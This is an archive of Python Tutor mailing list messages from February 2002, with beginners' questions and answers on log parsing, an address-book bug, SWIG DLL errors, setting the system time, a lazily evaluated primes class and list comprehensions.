From kalle@gnupung.net Fri Feb 1 00:13:07 2002 From: kalle@gnupung.net (Kalle Svensson) Date: Fri, 1 Feb 2002 01:13:07 +0100 Subject: [Tutor] read file and match string In-Reply-To: <00f101c1aab0$c066e7a0$8cd91282@echo6> References: <009201c1aa8b$1d48f060$8cd91282@echo6> <20020131225940.GA28719@sandra.lysator.liu.se> <00f101c1aab0$c066e7a0$8cd91282@echo6> Message-ID: <20020201001307.GB28719@sandra.lysator.liu.se> [Jim Ragsdale] > Ok, im searching a log file from an Unreal Tournament server. it generates > some output, but im really intested in 1 line: > ScriptLog: [PLAYER_JOIN] {RS}]V{AD_l)OG_3 ip.address.omitted:1040 2600 > > Each line will have ScriptLog: [PLAYER_JOIN] a name and ip:port and another > number. The other lines are just different server events and other things of > interest. i just want the ip address. I see. That's a very nice project to get started with a language. To me, the format suggests the use of string methods. I suppose there are no other lines that contain "[PLAYER_JOIN]"? And there is always the same number of spaces on each interesting line? In that cas, you could try using something like: in = open("file.in") out = open("file.out", "w") for line in in.xreadlines(): if line.find("[PLAYER_JOIN]"): ip_and_port = line.split()[3] out.write(ip_and_port + "\n") With the example line above, this would write ip.address.omitted:1040 to the output file. You can easily get rid of the port number by doing ip = ip_and_port.split(":")[0] or, if the port number is always four digits ip = ip_and_port[:-5] I don't know if this will be any faster, but I guess it doesn't matter that much. 0.4 seconds is probably fast enough? > I did the regular expression because that is what i found on the net. Messed > w/ it until i got it to match :) And I just upgraded to Python2.2. Using > xreadline on a 1.56meg file on my 400celeron laptop takes about .4 sec.( Ran > start = time.clock() before and finish = time.clock() after and took the > difference) Also used the localtime function to write a date/time stamp in > the logfile name(iplog.1.31.2002.5.35.log). > > Right now im trying to clean it up, use functions and stuff. do it right :) > I would like to add some functionality as i go along. Say maybe determine if > the log file has been reset and if it hasnt, start from where it left off > last time. If it has been restarted, start fresh and maybe start a new > output file. Sounds very nice! When you get it ready, I suggest you submit it to "Useless Python", a web site collecting python code snippets, tips and challenges managed by a fellow tutor list member. And it's not all useless... :) The address is http://www.lowerstandard.com/python/ . Peace, Kalle -- Kalle Svensson (kalle@gnupung.net) - Laziness, impatience, hubris: Pick two! English: http://www.gnupung.net/ Svenska: http://www.lysator.liu.se/~kalle/ Stuff: ["http://www.%s.org/" % x for x in "gnu debian python emacs".split()] From overlord@netdoor.com Fri Feb 1 00:56:32 2002 From: overlord@netdoor.com (Jim Ragsdale) Date: Thu, 31 Jan 2002 18:56:32 -0600 Subject: [Tutor] read file and match string Message-ID: <010f01c1aabb$4aafb540$8cd91282@echo6> [Kalle Svensson] I will probably stick with what i have for now. it works. maybe i can get about a 10meg file if nothing crashes and run some time trials on that. That line is the only one w/ "[PLAYER_JOIN]" in it. and it is always formatted the same. although names will be different lengths. Im just writing out the whole line to the output file. If someone emails me about a cheater and gives a name, i use find in notepad to search the iplogs and then i can ban him from the server. Although in the name of space i will probably go in and strip the first part of the line off. I guess the ultimate setup would be to check the log from the server and write the names and ip's to a database. If the name and ip address matched a record in the database it would skip it. then i would not get duplicates. everytime the game restarts players join again and i get duplicates. plus there are many players that play there regularly. I could even add a counter to see how many times each player is logged. If i ever finish it or get it nice enough ill post! From pythonhack@yahoo.com Fri Feb 1 00:52:01 2002 From: pythonhack@yahoo.com (pythonhack@yahoo.com) Date: Thu, 31 Jan 2002 16:52:01 -0800 Subject: [Tutor] index list out of range Message-ID: <19887498466.20020131165201@yahoo.com> hey guys- i'm writing a small address book program, and i think there's a problem with the way the lists are structured and manipulated. i'm getting a "list index out of range" error when i try to exit the program (using the closeApp function). help! here's the code... #!/usr/bin/env python import sys, string, os from time import sleep newmaster = [] master = [] yeslist = ['y', 'Y', 'YES', 'yes'] nolist = ['n', 'N', 'NO', 'no'] ################################## ## FUNCTIONS ################################## #this function runs at the beginning of the script #reads entire master address book into memory def startApp(): print "Loading address book..." sleep(3) print " " result = open('address.book', 'r') for line in result.readlines(): master.append(line.split()) print "Address book loaded successfully." print " " return result # print function returns formatted output def printEntry(entry): print entry[0], entry[1] print entry[2] print entry[3] print entry[4] if len(entry[5]) > 0: print entry[5] else: print "" mainMenu() #the main menu def mainMenu(): quit = 1 while quit == 1: print "What would you like to do? - Please select " print "1. Add an entry" print "2. Display an entry" print "3. Delete an entry" print "4. Edit an entry" print "5. Exit the program" x = int(raw_input()) if x == 1: addEntry() elif x == 2: findEntry() elif x == 3: deleteEntry() elif x == 4: editEntry() elif x == 5: closeApp() else: print "Invalid Selection." print " " quit == 1 #adds an entry to the address book def addEntry(): newentry = [] print " " print "You have chosen to add an entry to the address book." print " " lastname = raw_input("Last Name: ") firstname = raw_input("First Name: ") address1 = raw_input("Street Name and Number: ") address2 = raw_input("City, State, Zip: ") phone = raw_input("Phone Number: ") comments = raw_input("Comments (if none, juts hit enter): ") print " " print "This is what you entered: " print " " print lastname,',', firstname print address1 print address2 print phone if len(comments) >= 1: print comments else: print "" print " " correct = raw_input("is this correct?(y/n): ") if correct == 'y': print "adding new entry..." newentry.append(lastname) newentry.append(firstname) newentry.append(address1) newentry.append(address2) newentry.append(phone) newentry.append(comments) master.append(newentry) newentry = [] print "new entry added successfully" mainMenu() elif correct == 'n': print "Please re-enter information..." addEntry() else: print "Invalid response." print " " mainMenu() # this searches for an entry in the address book and returns matches def findEntry(): quit = 1 while quit == 1: print "Enter Last Name (or just hit enter to return to Main Menu): " name = raw_input() if len(name) > 0: for entry in master: if entry[0] == name: printEntry(entry) else: print "no matches" else: mainMenu() #this searches for an entry to delete and prompts user for confirmation def deleteEntry(): print "Enter Last Name (or just hit enter to return to Main Menu): " name = raw_input() quit = 1 if len(name) > 0: for entry in master: if entry[0] == name: printEntry(entry) while quit == 1: x = raw_input("Delete? y or n: ") if x in yeslist: entry = [] print "Deleted" mainMenu() elif x in nolist: print "entry not deleted" mainMenu() else: print "invalid entry, try again" quit == 1 else: print "no matches" mainMenu() else: mainMenu() # This allows an entry to be pulled from file and edited, then written (using addEntry function # from earlier def editEntry(): for entry in master: if entry[0] == lastname: printEntry(entry) x = raw_input("Edit this entry? y or n: ") if x in yeslist: entry = [] addEntry() else: mainMenu() # This is run when the program exits, writes all entries back to text file and closes text file def closeApp(): print "Saving address book changes..." newmaster = open('address.book', 'w') for list in master: print len(list) newmaster.write(list[0]), newmaster.write(" ") newmaster.write(list[1]), newmaster.write(" ") newmaster.write(list[2]), newmaster.write(" ") newmaster.write(list[3]), newmaster.write(" ") newmaster.write(list[4]), newmaster.write(" ") print "closing address.book..." newmaster.close sleep(3) print "Goodbye..." sys.exit() ###################################### ## MAIN CODE ###################################### print "Welcome to PyAddressbook!" print " " startApp() mainMenu() thanks!! brett _________________________________________________________ Do You Yahoo!? Get your free @yahoo.com address at http://mail.yahoo.com From shalehperry@attbi.com Fri Feb 1 01:19:44 2002 From: shalehperry@attbi.com (Sean 'Shaleh' Perry) Date: Thu, 31 Jan 2002 17:19:44 -0800 (PST) Subject: [Tutor] index list out of range In-Reply-To: <19887498466.20020131165201@yahoo.com> Message-ID: On 01-Feb-2002 pythonhack@yahoo.com wrote: > hey guys- > > i'm writing a small address book program, and i think there's a > problem with the way the lists are structured and manipulated. i'm > getting a "list index out of range" error when i try to exit the > program (using the closeApp function). > it almost looks like your string.split() is not always returning the number of elements you think it is. Of course, if you had given us the full python traceback, we would know more. From jimmy_130@lycos.com Fri Feb 1 01:30:51 2002 From: jimmy_130@lycos.com (James M Lang) Date: Thu, 31 Jan 2002 20:30:51 -0500 Subject: [Tutor] Curious, just being curious Message-ID: In the online tutorial it showed examples like this: a = 3 Is it really necessary for those spaces? From kalle@gnupung.net Fri Feb 1 01:49:04 2002 From: kalle@gnupung.net (Kalle Svensson) Date: Fri, 1 Feb 2002 02:49:04 +0100 Subject: [Tutor] Curious, just being curious In-Reply-To: References: Message-ID: <20020201014904.GC28719@sandra.lysator.liu.se> [James M Lang] > In the online tutorial it showed examples like this: > a = 3 > Is it really necessary for those spaces? When in doubt, try it! Start a python interpreter, enter a=3 and see what happens. And to answer your question, no. The spaces aren't necessary there, but IMO they make the code easier to read. Peace, Kalle -- Kalle Svensson (kalle@gnupung.net) - Laziness, impatience, hubris: Pick two! English: http://www.gnupung.net/ Svenska: http://www.lysator.liu.se/~kalle/ Stuff: ["http://www.%s.org/" % x for x in "gnu debian python emacs".split()] From lha2@columbia.edu Fri Feb 1 01:53:49 2002 From: lha2@columbia.edu (Lloyd Hugh Allen) Date: Thu, 31 Jan 2002 20:53:49 -0500 Subject: [Tutor] CHORTLING OVER MY KEYBOARD References: <3C58E8A8.859210E6@netzero.net> Message-ID: <3C59F52D.1927E64B@mail.verizon.net> kirk Bailey wrote: > > AS I POISON VENEMOUS RATS, I HUM A LOVELY TUNE, WITH A SMILE UPON MY > FACE, FOR A PROGRAM IS NOT OFFERED TO FEED SO MUCH BILGE TO SPAMBOTS > HARVESTING EMAIL THAT IT SURPASSES IMAGINING. > > In breif, I have now a little script which cranks out entirely > plausible email addresses by the SCORE on demand. Actually, about 50 > at a shot. And if you were so rash as toclick on them, you would get a > letter popup. > > Every last one is randomly generated, intended to poison spambots > harvesting email addresses. > > Now some spambots do not visit pages generated by scripts, but a html > page with a ssi looks like normal html to a browser- or a bot- and > therefore one could run this with MINOR modifications in a ssi include > page, and poison the spam harvesting community. > > Just for giggles, here's the url. Script offered on request. > http://www.tinylist.org/cgi-bin/poison.py Be careful--your program generates some email addresses that have legitimate domains (as a for instance, I got an address that has domain abstraction.org, which exists). Postmasters at real domains might get mad if you distribute addresses at their site, particularly if you're lucky enough to hit a real account...a thousand monkeys, or something. From lha2@columbia.edu Fri Feb 1 01:59:47 2002 From: lha2@columbia.edu (Lloyd Hugh Allen) Date: Thu, 31 Jan 2002 20:59:47 -0500 Subject: [Tutor] Curious, just being curious References: Message-ID: <3C59F693.37D51CA2@mail.verizon.net> James M Lang wrote: > > In the online tutorial it showed examples like this: > a = 3 > Is it really necessary for those spaces? > > _______________________________________________ > Tutor maillist - Tutor@python.org > http://mail.python.org/mailman/listinfo/tutor Nope. Some people think those spaces make code easier to read. Others think the spaces make code less easy to read. Check out . Now if it were the line a = 3 then the spaces BEFORE the 'a' (that is, the indentation of the line) would probably be significant--if you're new, compare the output of for foo in range(5) print "whee!" print "done, I'm out of the loop" to that of for foo in range(5) print "whee!" print "I'm still in the loop!" From dsh8290@rit.edu Fri Feb 1 02:03:50 2002 From: dsh8290@rit.edu (dman) Date: Thu, 31 Jan 2002 21:03:50 -0500 Subject: [Tutor] Re: Setting the system time In-Reply-To: References: Message-ID: <20020201020350.GA4858@dman.ddts.net> On Thu, Jan 31, 2002 at 10:59:44PM +0100, Daniel Kinnaer wrote: | Thanks for your replies. Meanwhile, I'm only halfway | on how to set the systemtime. That is, I've found how | to do this on a Windows-box (We use W2k at work). | | if sys.platform == 'win32': | import win32api | win32api.SetSystemTime() #by Mark Hammond | | I don't know how to go about when setting the | systemtime in a Linux environment. Perhaps with the | date-command? Is this command the same for all major Linux | releases? Do you want to set the system clock, the hardware clock, or both? 'date' will set the system clock (on Solaris too) and 'hwclock' will set the hardware clock (and can sync the two clocks). | I need this function in my NTP-client, Oh! You want to make an NTP client. Cool. Your app will definitely be run with root privileges then. I suggest looking at the code for the 'date' and 'hwclock' programs as they'll show you the programmatic interface for setting the time (C-level interface). Then it should be fairly straightforward for you to make a python extension in C that provides a "set time" function. -D -- Microsoft encrypts your Windows NT password when stored on a Windows CE device. But if you look carefully at their encryption algorithm, they simply XOR the password with "susageP", Pegasus spelled backwards. Pegasus is the code name of Windows CE. This is so pathetic it's staggering. http://www.cegadgets.com/artsusageP.htm From m_konermann@gmx.de Fri Feb 1 03:22:28 2002 From: m_konermann@gmx.de (Keule) Date: Fri, 01 Feb 2002 04:22:28 +0100 Subject: [Tutor] Problems using a .dll file under windows Message-ID: <3C5A09F4.1010306@gmx.de> --------------010006080804040709040704 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit Hi @ All ! I generated a simannealfilec.dll with SWIG and also a python shadow class named simannealfile.py. After running the python shadow class simannealfile.py the following Error appers : PythonWin 2.1.1 (#20, Jul 20 2001, 01:19:29) [MSC 32 bit (Intel)] on win32. Portions Copyright 1994-2001 Mark Hammond ( MarkH@ActiveState.com ) - see 'Help/About PythonWin' for further copyright information. >>> Traceback (most recent call last): File "C:\Python21\Pythonwin\pywin\framework\scriptutils.py" , line 394, in ImportFile exec codeObj in __main__.__dict__ File "", line 1, in ? File "C:\Arbeit_Diplomarbeit\__Optimierer\AG_TEMdll\simannealfile.py" , line 2, in ? import simannealfilec ImportError: DLL load failed: Das angegebene Modul wurde nicht gefunden. Traceback (most recent call last): File "C:\Python21\Pythonwin\pywin\framework\scriptutils.py" , line 301, in RunScript exec codeObject in __main__.__dict__ File "C:\Arbeit_Diplomarbeit\__Optimierer\AG_TEMdll\simannealfile.py" , line 2, in ? import simannealfilec ImportError: DLL load failed: Das angegebene Modul wurde nicht gefunden. >>> The File simannealfile.py looks in the beginning like that : # This file was created automatically by SWIG. import simannealfilec class simanneal_varlist: def __init__(self,*args): self.this = apply(simannealfilec.new_simanneal_varlist,args) self.thisown = 1 def __del__(self,simannealfilec=simannealfilec): if getattr(self,'thisown',0): simannealfilec.delete_simanneal_varlist(self) def cleany(*args): val = apply(simannealfilec.simanneal_varlist_cleany,args) return val I absolutly did´nt know what´s going wrong. Have anyone got an idea ? Thanks for your help Marcus --------------010006080804040709040704 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Hi @ All !

I generated a simannealfilec.dll with SWIG and also a python shadow class named simannealfile.py. After running the python shadow class simannealfile.py the following Error appers :

PythonWin 2.1.1 (#20, Jul 20 2001, 01:19:29) [MSC 32 bit (Intel)] on win32.
Portions Copyright 1994-2001 Mark Hammond ( MarkH@ActiveState.com ) - see 'Help/About PythonWin' for further copyright information.
>>> Traceback (most recent call last):
  File "C:\Python21\Pythonwin\pywin\framework\scriptutils.py" , line 394, in ImportFile
    exec codeObj in __main__.__dict__
  File "<auto import>", line 1, in ?
  File "C:\Arbeit_Diplomarbeit\__Optimierer\AG_TEMdll\simannealfile.py" , line 2, in ?
    import simannealfilec
ImportError: DLL load failed: Das angegebene Modul wurde nicht gefunden.
Traceback (most recent call last):
  File "C:\Python21\Pythonwin\pywin\framework\scriptutils.py" , line 301, in RunScript
    exec codeObject in __main__.__dict__
  File "C:\Arbeit_Diplomarbeit\__Optimierer\AG_TEMdll\simannealfile.py" , line 2, in ?
    import simannealfilec
ImportError: DLL load failed: Das angegebene Modul wurde nicht gefunden.
>>>

The File simannealfile.py looks in the beginning like that :

# This file was created automatically by SWIG.
import simannealfilec
class simanneal_varlist:
    def __init__(self,*args):
        self.this = apply(simannealfilec.new_simanneal_varlist,args)
        self.thisown = 1

    def __del__(self,simannealfilec=simannealfilec):
        if getattr(self,'thisown',0):
            simannealfilec.delete_simanneal_varlist(self)
    def cleany(*args):
        val = apply(simannealfilec.simanneal_varlist_cleany,args)
        return val


I absolutly did´nt know what´s going wrong.
Have anyone got an idea ?

Thanks for your  help
Marcus --------------010006080804040709040704-- From urnerk@qwest.net Fri Feb 1 03:36:39 2002 From: urnerk@qwest.net (Kirby Urner) Date: Thu, 31 Jan 2002 19:36:39 -0800 Subject: [Tutor] More primes play In-Reply-To: <3C59B912.6060300@venix.com> References: <20020131211525.40906.qmail@web14101.mail.yahoo.com> Message-ID: <4.2.0.58.20020131193011.00d23f10@pop3.norton.antivirus> Continuing a thread of playing with prime number listings, I'm appending a class definition I wrote awhile ago that creates objects you can slice from, as show below, and also iterate over, as also shown: >>> from play import Primes >>> myprimes = Primes() >>> myprimes[0:10] [2, 3, 5, 7, 11, 13, 17, 19, 23, 29] >>> myprimes[100] 547 >>> myprimes[3] 7 >>> for i in myprimes: print i if i > 2000: break It's kind of like getting an object inside of which all the primes already exist -- which is of course not true. Through lazy evaluation (or "just in time" supply), it internally iterates forward, appending new primes to its internal list, in hopes of satisfying a user request. But as we all know, trial-by-division (the algorithm used here) wimps out when the going gets tough. So this is mainly for playing with low primes (interpret as you will what "low" means). What's efficient about doing this as a class is that the primes list doesn't go away between uses of the instances, i.e. if you've computed up to the 100th prime, and ask for the 200th, it's not going to start over from scratch -- it'll just keep appending. Likewise, if you ask for the 10th prime, but have already computed out to the 100th, well, then there's no further computation needed at all. The whole iterator/generator business is best explored in 2.2 and above, so yes, this is for you folks who are at liberty to play with the latest snake: class Primes: """ Represents open-ended, sequential list of prime numbers starting with 2. Uses trial-by-division generator to append to list. Maintains current pointer, allows random access and list slicing syntax (but not from "end of list"). Given simple trial-by-division, this class is suitable for exploring low primes only. """ pr = [2] # class level list of primes def __init__(self): self.gen = self.__generator() self.current = -1 self.max = 0 def __iter__(self): """ this object implements iteration """ return self def next(self): """ invoke gen (internal lazy evaluator) only if needed """ self.current += 1 self.max = max(self.max,self.current) if self.current > len(Primes.pr)-1: return self.gen.next() else: return Primes.pr[self.current] def previous(self): """ move pointer back one position """ self.current -= 1 if self.current < 0: self.current = 0 return self.pr[self.current] def first(self): """ return to 0th position """ self.current = 0 return Primes.pr[self.current] def last(self): """ jump to highest position ever pointed to by this object """ self.current = self.max return Primes.pr[self.current] def skip(self,n): """ skip n primes (n may be negative, to skip backward) """ # pointer must be >= 0 return self.__getitem__(max(0,self.current + n)) def __getitem__(self,n): """ implements syntax object[n] for nth prime """ if n<0: raise ValueError,"Out of range" if n > len(Primes.pr)-1: self.current = self.max while n > self.current: self.next() else: self.current = n self.max = max(self.max,self.current) return Primes.pr[self.current] def __getslice__(self,a,b): rlist = [] if b==2147483647 or a<0 or b<0: raise ValueError("Unbounded above") for i in range(a,b): rlist.append(self.__getitem__(i)) return rlist def __generator(self): """ Iterator for lazy evaluation. Yield next higher prime, accruing successive primes in class variable pr (shared by all Prime objects) Uses trial-by-division, long integers if necessary """ i = Primes.pr[-1] if i==2: i -= 1 new = 0 while 1: try: i += 2 except OverflowError: i += 2L if new: yield Primes.pr[-1] new = 0 for t in Primes.pr: if t*t > i: # if t**2>candidate, we have a new prime Primes.pr.append(i) new = 1 break if i%t == 0: # test divide by primes so far, # move to next odd whenever remainder=0 break Kirby From urnerk@qwest.net Fri Feb 1 03:45:01 2002 From: urnerk@qwest.net (Kirby Urner) Date: Thu, 31 Jan 2002 19:45:01 -0800 Subject: [Tutor] List of Objects? In-Reply-To: References: Message-ID: <4.2.0.58.20020131193832.00c6d920@pop3.norton.antivirus> > > > params = [ [name1,desc1,exits1],[name2,desc2,exits2],[name3,desc3,exits3]] > > > > listofRooms = map(lambda params:apply(Rooms,params),params) > > > > is this ok? > > > >For an obfuscated python contest, sure. For newbie help I would say no. However, re-expressed with a for-loop, it's not so dense, and just as good: params = [ ("great hall","where trolls live",3), ("dungeon","not a fun place",0), ("tower room","where she sleeps",1)] listofRooms = [] for p in params: listofRooms.append(apply(Rooms,p)) >listofRooms = map(lambda params:apply(Rooms,params),params) And since we've been discussing it: listofRooms = [apply(Rooms,p) for p in params] also works. Kirby From idiot1@netzero.net Fri Feb 1 05:51:34 2002 From: idiot1@netzero.net (kirk Bailey) Date: Fri, 01 Feb 2002 00:51:34 -0500 Subject: [Tutor] TinyList 1.1.2 released Message-ID: <3C5A2CE6.7E667C74@netzero.net> TL1.1.2 is online for downloading in gz tarball or ZIP FILE formats. Corrected a few typos, modified teh layour to be compatible with nrrower pages on email messages, assorted minor cosmetic touchups. -- -Respectfully, -Kirk D Bailey Consulting Loose Cannon end www.howlermonkey.net highprimate@howlermonkey.net www.sacredelectron.org idiot1@netzero.net www.tinylist.org grumpy@tinylist.org ---------------------------------------------------- Sign Up for NetZero Platinum Today Only $9.95 per month! http://my.netzero.net/s/signup?r=platinum&refcd=PT97 From ak@silmarill.org Fri Feb 1 00:45:44 2002 From: ak@silmarill.org (Andrei Kulakov) Date: Thu, 31 Jan 2002 19:45:44 -0500 Subject: [Tutor] Please read this and respond to me. In-Reply-To: <2F35490C-1535-11D6-BCB1-00039351FE6A@mac.com> References: <20020129111402.GA11620@silmarill.org> <2F35490C-1535-11D6-BCB1-00039351FE6A@mac.com> Message-ID: <20020201004544.GA29001@ak.silmarill.org> On Tue, Jan 29, 2002 at 10:55:22PM -0500, Erik Price wrote: > > On Tuesday, January 29, 2002, at 06:14 AM, Andrei Kulakov wrote: > > >No, in the contest of his post. If he meant hacking as programming, he'd > >say "programming". > > Unless he was referred to Python from ESR: > http://www.tuxedo.org/~esr/faqs/hacker-howto.html > > It specifically recommends that newbies start w/Python, and uses > "hacking" as synonymous for "programming" throughout. I guess it's possible.. but even there, it either means a man displaying an optimistic, adventurous attitude toward problem-solving or an expert programmer; the former meaning is too general for his post and the latter doesn't make sense, so I had to conclude he meant cracker/hacker, unless he's not very comfortable with english, but then I immediately mentioned that hacking is illegal - that'd clue him in on which of the two meanings I was talking about. If I were a bit harsh, I'm sorry, though. The thing is, it's not only about that guy, everybody else who reads questions and responses gets some feeling for what is allowed and what isn't. If anyone read my response and thought "oh, I better not expose my weaknesses on *that* list", accept my apologies and note that even though I was pretty sure he was both off topic and asking assistance in breaking the law, I didn't scream at him and even helped the best I could. :P So, don't be shy. - Andrei > > > Erik > > > _______________________________________________ > Tutor maillist - Tutor@python.org > http://mail.python.org/mailman/listinfo/tutor > -- Cymbaline: intelligent learning mp3 player - python, linux, console. get it at: cy.silmarill.org From ak@silmarill.org Fri Feb 1 01:14:10 2002 From: ak@silmarill.org (Andrei Kulakov) Date: Thu, 31 Jan 2002 20:14:10 -0500 Subject: [Tutor] Please read this and respond to me. In-Reply-To: <20020130094412.GA10351@sandra.lysator.liu.se> References: <16e.7ca3139.2984f009@aol.com> <20020128134627.GA5832@silmarill.org> <20020128184656.GA25891@sandra.lysator.liu.se> <20020129111402.GA11620@silmarill.org> <20020130094412.GA10351@sandra.lysator.liu.se> Message-ID: <20020201011410.GB29001@ak.silmarill.org> On Wed, Jan 30, 2002 at 10:44:12AM +0100, Kalle Svensson wrote: > [Andrei Kulakov] > > On Mon, Jan 28, 2002 at 07:46:56PM +0100, Kalle Svensson wrote: > > > [Andrei Kulakov] > > > > On Sun, Jan 27, 2002 at 12:54:17AM -0500, Kyuuketsiuki@aol.com wrote: > > > > > I'm looking for a tutor (Teacher) on hacking [...] > > > > > > > > I don't think anyone is gonna do that, for two reasons: > > > > > > > > 1. Hacking (in this context) is illegal and the person who tried to > > > > > > In what context? The context of this list? > > > > No, in the contest of his post. If he meant hacking as programming, he'd > > say "programming". > > Well, it seems plausible, but I'd like more evidence. Especially if > I'm going to proceed by comparing the poster with various animals > doing tricks, and saying that helping him/her would be a waste of > time. By the time he read that, he'd also have read the first item where I say it's illegal - so even if he meant it as "programming" (I really doubt that), he'd realize I misunderstood him. And it's more than plausible. - Andrei > > Peace, > Kalle > -- > Kalle Svensson (kalle@gnupung.net) - Laziness, impatience, hubris: Pick two! > English: http://www.gnupung.net/ Svenska: http://www.lysator.liu.se/~kalle/ > Stuff: ["http://www.%s.org/" % x for x in "gnu debian python emacs".split()] > > _______________________________________________ > Tutor maillist - Tutor@python.org > http://mail.python.org/mailman/listinfo/tutor > -- Cymbaline: intelligent learning mp3 player - python, linux, console. get it at: cy.silmarill.org From dyoo@hkn.eecs.berkeley.edu Fri Feb 1 06:46:41 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Thu, 31 Jan 2002 22:46:41 -0800 (PST) Subject: [Tutor] Problems using a .dll file under windows In-Reply-To: <3C5A09F4.1010306@gmx.de> Message-ID: On Fri, 1 Feb 2002, Keule wrote: > I generated a simannealfilec.dll with SWIG and also a python shadow > class named simannealfile.py. Cool; I'm also playing with SWIG at the moment. Wrapping C code with SWIG is somewhat of an advanced topic; you may be able to get better help by talking with the SWIG folks at: http://www.swig.org/mail.html You may want to ask your question on the SWIG mailing list as well, since they may have run into this issue already. > >>> Traceback (most recent call last): > File "C:\Python21\Pythonwin\pywin\framework\scriptutils.py" , line > 394, in ImportFile > exec codeObj in __main__.__dict__ > File "", line 1, in ? > File "C:\Arbeit_Diplomarbeit\__Optimierer\AG_TEMdll\simannealfile.py" > , line 2, in ? > import simannealfilec > ImportError: DLL load failed: Das angegebene Modul wurde nicht gefunden. ... hmmm... Give me a moment while I bring up Babelfish... Ah! Here's the translation of "Das angegebene Modul wurde nicht gefunden": "The indicated module was not found". (Wow, Babelfish is impressive!) My best guess so far at the problem is that the directory: "C:\Arbeit_Diplomarbeit\__Optimierer\AG_TEMdll\simannealfile.py" isn't in the 'sys.path' list that Python uses to search for modules. To test this hypothesis, can youtry doing this right before importing the 'simannealfilec' module: ### import sys sys.path.append("C:/Arbeit_Diplomarbeit/__Optimierer/AG_TEMdll/") ### ? If this helps, then it's a PYTHONPATH issue. Does anyone know what Pythonwin's behavior is when running scripts --- does it add that script's path to sys.path? This is starting to feel like that silly IDLE "Run Script" issue from last month. From dyoo@hkn.eecs.berkeley.edu Fri Feb 1 06:56:12 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Thu, 31 Jan 2002 22:56:12 -0800 (PST) Subject: [Tutor] help [clearing the screen] In-Reply-To: <20020131173722.55333.qmail@web13908.mail.yahoo.com> Message-ID: Hi James, [Administrative comment: your message was delayed for a few hours because the Subject line of the email just contained the word "help". This actually triggers the Mailman mailing list software to hold the message because it thinks it might be an administrative question. In short: use a more descriptive subject. *grin* Sorry for the inconvenience.] > I have made a program that will prints out some > options > 1. to view the list > 2. to add to the list > 3. to delete from the list > 4. to quit > and after you select what you want to do, and do it > then the program brings the menu up again and asks you > what you want to do, but the prompt soon gets > cluttered with all of the stuff inside it, is there a > way to clear it before it displays the menu again? Hmmm... how about something like this? ### def clearScreen(): for i in range(80): print ### I'm not sure if there's a platform-independent way of clearing a screen. I did a quick check on google, and it looks like this might be useful: http://effbot.org/efflib/console Good luck to you. From dyoo@hkn.eecs.berkeley.edu Fri Feb 1 06:58:21 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Thu, 31 Jan 2002 22:58:21 -0800 (PST) Subject: [Tutor] Spurious primes In-Reply-To: Message-ID: Hi Sarney, Just doing a follow up; have you been able to find the bug in the prime-finding program yet? From wesc@deirdre.org Fri Feb 1 06:36:57 2002 From: wesc@deirdre.org (Wesley Chun) Date: Thu, 31 Jan 2002 22:36:57 -0800 (PST) Subject: [Tutor] looking for source code In-Reply-To: <5104D4DBC598D211B5FE0000F8FE7EB20E66C326@mbtlipnt02.btlabs.bt.co.uk> Message-ID: On Thu, 31 Jan 2002 alan.gauld@bt.com wrote: > > where can i find the source code for map(), filter() , reduce() > > ,property(),staticmethod() etc? > > > have these constructs been implemented in C ? so am not able > > to find one? > > Yes, they are in C. As are many of the other modules, like sys... karthik, as kalle and alan have pointed out, yes, these are done in C. you can read through them very easily too. if you download the source code tar ball, just look in the Python/bltinmodule.c file. have fun! -wesley - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - "Core Python Programming", Prentice Hall PTR, =A9 2001 http://starship.python.net/crew/wesc/cpp/ wesley.j.chun :: wesc@deirdre.org cyberweb.consulting : henderson, nv : cyberweb@rocketmail.com http://www.roadkill.com/~wesc/cyberweb/ From printers@sendme.cz Fri Feb 1 13:47:58 2002 From: printers@sendme.cz (A) Date: Fri, 1 Feb 2002 14:47:58 +0100 Subject: [Tutor] Why it does NOT work on Linux ? Message-ID: <3C5AAA9E.18034.11AB3F0@localhost> I have the following part of program that finds ItemID numbers. Here, for example, are two 146759 and 146700 . This program works well under windows but on Linux it does not find any number. Can you please help? Thanks. Ladislav #################### import re Text=""" [CN] Oak, Foiled & Antique Furniture 18/12/2001 [CN] Oak, Foiled & Antique Furniture 18/12/2001 """ IDs=re.compile('.* --------------090205090309040109020501 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit Hi @ ALL ! I think i solved my first problem creating a .dll with Visual C++, because first i choosed only the option "win32 dynamic link library" and not the "MFC AppWizard". The AppWizard also creates a .def file where are informations about the Exports from the new .dll file. But now, after compiling the the whole code, using the AppWizard, the following Error occurs: Kompilierung läuft... simanneal.cpp c:\arbeit_diplomarbeit\__optimierer\testlauf\bla bla\simanneal.cpp(496) : fatal error C1010: Unerwartetes Dateiende waehrend der Suche nach der Direktive fuer die vorkompilierte Header-Datei simanneal_wrap.cpp c:\arbeit_diplomarbeit\__optimierer\testlauf\bla bla\simanneal_wrap.cpp(34) : warning C4005: 'SWIGEXPORT' : Makro-Neudefinition c:\arbeit_diplomarbeit\__optimierer\testlauf\bla bla\simanneal_wrap.cpp(32) : Siehe vorherige Definition von 'SWIGEXPORT' .... Generieren von Code... Fehler beim Ausführen von cl.exe. bla bla.dll - 7 Fehler, 4 Warnung(en) Perhaps, i have to write additional information in the .def file of the functions, i want to be exported from the new .dll Have anyone had this kind of problem ? Greetings Marcus --------------090205090309040109020501 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Hi @ ALL !

I think i solved my first problem creating a .dll with Visual C++, because first i choosed only the option "win32 dynamic link library" and not the "MFC AppWizard". The AppWizard also creates a .def file where are informations about the Exports from the new .dll file.
But now, after compiling the the whole code, using the AppWizard, the following Error occurs:

Kompilierung läuft...
simanneal.cpp
c:\arbeit_diplomarbeit\__optimierer\testlauf\bla bla\simanneal.cpp(496) : fatal error C1010: Unerwartetes Dateiende waehrend der Suche nach der Direktive fuer die vorkompilierte Header-Datei
simanneal_wrap.cpp
c:\arbeit_diplomarbeit\__optimierer\testlauf\bla bla\simanneal_wrap.cpp(34) : warning C4005: 'SWIGEXPORT' : Makro-Neudefinition
